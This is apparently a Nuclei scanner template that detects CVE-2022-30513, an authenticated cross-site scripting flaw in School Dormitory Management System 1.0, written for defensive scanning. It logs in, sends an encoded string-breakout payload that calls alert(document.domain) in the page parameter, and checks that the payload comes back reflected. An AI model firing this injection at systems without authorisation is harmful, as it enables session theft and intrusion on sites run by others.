id: CVE-2022-30513 info: name: School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting author: tess severity: medium description: | School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability via admin/inc/navigation.php:125. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. reference: - https://github.com/bigzooooz/CVE-2022-30513 - https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html - https://nvd.nist.gov/vuln/detail/CVE-2022-30513 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30513 cwe-id: CWE-79 metadata: verified: true tags: cve,cve2022,xss,authenticated requests: - raw: - | POST /dms/admin/login.php?f=login HTTP/1.1 Host: {{Hostname}} username={{username}}&password={{password}} - | GET /dms/admin/?page=%27%3B%20alert(document.domain)%3B%20s%3D%27 HTTP/1.1 Host: {{Hostname}} req-condition: true redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: word part: body_2 words: - "''; alert(document.domain); s='';" - "School Dormitory Management System" condition: and - type: status status: - 200 # Enhanced by md on 2022/10/17